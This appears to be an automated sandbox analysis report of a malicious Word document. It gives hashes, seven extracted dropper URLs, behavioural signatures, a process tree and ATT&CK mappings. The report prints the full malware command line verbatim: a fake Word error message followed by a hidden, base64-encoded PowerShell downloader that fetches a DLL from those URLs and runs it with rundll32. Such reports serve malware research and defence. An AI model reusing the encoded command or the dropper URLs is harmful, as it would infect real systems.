5dc8879e45c66e6828353ae4f543d11ff810806cf4609fd4cd3f8d5e768a722d

General

Target

5dc8879e45c66e6828353ae4f543d11ff810806cf4609fd4cd3f8d5e768a722d.doc
Size

157KB
MD5

af155f9d70443ff0e6c4220476ebaa1d
SHA1

9e2bdeea5d7f851acd02db0261405da467edcc29
SHA256

5dc8879e45c66e6828353ae4f543d11ff810806cf4609fd4cd3f8d5e768a722d
SHA512

c69b71a16142a069e205db53045c0f1c2263e85fecccd40ae6ba54708550453bf8ef637ebf0124e5d29a973718fd967f4b62eff87673c8bb704e8c1c464f33d4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://shulovbaazar.com/c/bcL6/

exe.dropper

https://mybusinessevent.com/tiki-install/e/

exe.dropper

http://uhk.cncranes.com/ErrorPages/3/

exe.dropper

https://capturetheaction.com.au/wp-includes/Yjp/

exe.dropper

https://thenetworker.ca/comment/8N4/

exe.dropper

https://trayonlinegh.com/cgi-bin/HBPR/

exe.dropper

http://mmo.martinpollock.co.uk/a/SQSGg/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2684 4056 cmd.exe
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

22 3524 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3176 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Yznspln\guyims.lej rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2684	4056	cmd.exe

flow	pid	process
22	3524	powershell.exe

pid	process
3176	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Yznspln\guyims.lej	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3132 WINWORD.EXE
3132 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

3524 powershell.exe
3524 powershell.exe
3524 powershell.exe
1896 rundll32.exe
1896 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3524 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3132 WINWORD.EXE
3132 WINWORD.EXE
3132 WINWORD.EXE
3132 WINWORD.EXE
3132 WINWORD.EXE
3132 WINWORD.EXE
3132 WINWORD.EXE

pid	process
3132	WINWORD.EXE
3132	WINWORD.EXE

pid	process
3524	powershell.exe
3524	powershell.exe
3524	powershell.exe
1896	rundll32.exe
1896	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3524	powershell.exe

pid	process
3132	WINWORD.EXE
3132	WINWORD.EXE
3132	WINWORD.EXE
3132	WINWORD.EXE
3132	WINWORD.EXE
3132	WINWORD.EXE
3132	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2684 wrote to memory of 2136	2684	cmd.exe	msg.exe
PID 2684 wrote to memory of 2136	2684	cmd.exe	msg.exe
PID 2684 wrote to memory of 3524	2684	cmd.exe	powershell.exe
PID 2684 wrote to memory of 3524	2684	cmd.exe	powershell.exe
PID 3524 wrote to memory of 1544	3524	powershell.exe	rundll32.exe
PID 3524 wrote to memory of 1544	3524	powershell.exe	rundll32.exe
PID 1544 wrote to memory of 3176	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 3176	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 3176	1544	rundll32.exe	rundll32.exe
PID 3176 wrote to memory of 1896	3176	rundll32.exe	rundll32.exe
PID 3176 wrote to memory of 1896	3176	rundll32.exe	rundll32.exe
PID 3176 wrote to memory of 1896	3176	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5dc8879e45c66e6828353ae4f543d11ff810806cf4609fd4cd3f8d5e768a722d.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3132

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2684

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3524

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3176

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yznspln\guyims.lej",ShowDialogA
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:1896

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll

MD5
46f5d2835bf6b82b42a0c9fd31c979c6

SHA1
75c4147a8a331f06d676c19bf7124c8c70e682d2

SHA256
732c25859d86eb52a307699ed43d29f5c4db954b0ee512a6512f0b093ecabd82

SHA512
04ee99e70692a6f26302b6fefeb641e7d13895632e6a964e05a86639e0ada6d3248f24c06eef08bd26540c0731cd6990be9d010c53244df96e9875c430f1c125

Download Submit
\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll

MD5
46f5d2835bf6b82b42a0c9fd31c979c6

SHA1
75c4147a8a331f06d676c19bf7124c8c70e682d2

SHA256
732c25859d86eb52a307699ed43d29f5c4db954b0ee512a6512f0b093ecabd82

SHA512
04ee99e70692a6f26302b6fefeb641e7d13895632e6a964e05a86639e0ada6d3248f24c06eef08bd26540c0731cd6990be9d010c53244df96e9875c430f1c125

Download Submit
memory/1544-8-0x0000000000000000-mapping.dmp

Download
memory/1896-12-0x0000000000000000-mapping.dmp

Download
memory/2136-3-0x0000000000000000-mapping.dmp

Download
memory/3132-2-0x0000015663ED0000-0x0000015664507000-memory.dmp

Filesize
6.2MB

Download
memory/3176-10-0x0000000000000000-mapping.dmp

Download
memory/3524-4-0x0000000000000000-mapping.dmp

Download
memory/3524-5-0x00007FFE24D10000-0x00007FFE256FC000-memory.dmp

Filesize
9.9MB

Download
memory/3524-6-0x00000163E8860000-0x00000163E8861000-memory.dmp

Filesize
4KB

Download
memory/3524-7-0x00000163E8A10000-0x00000163E8A11000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads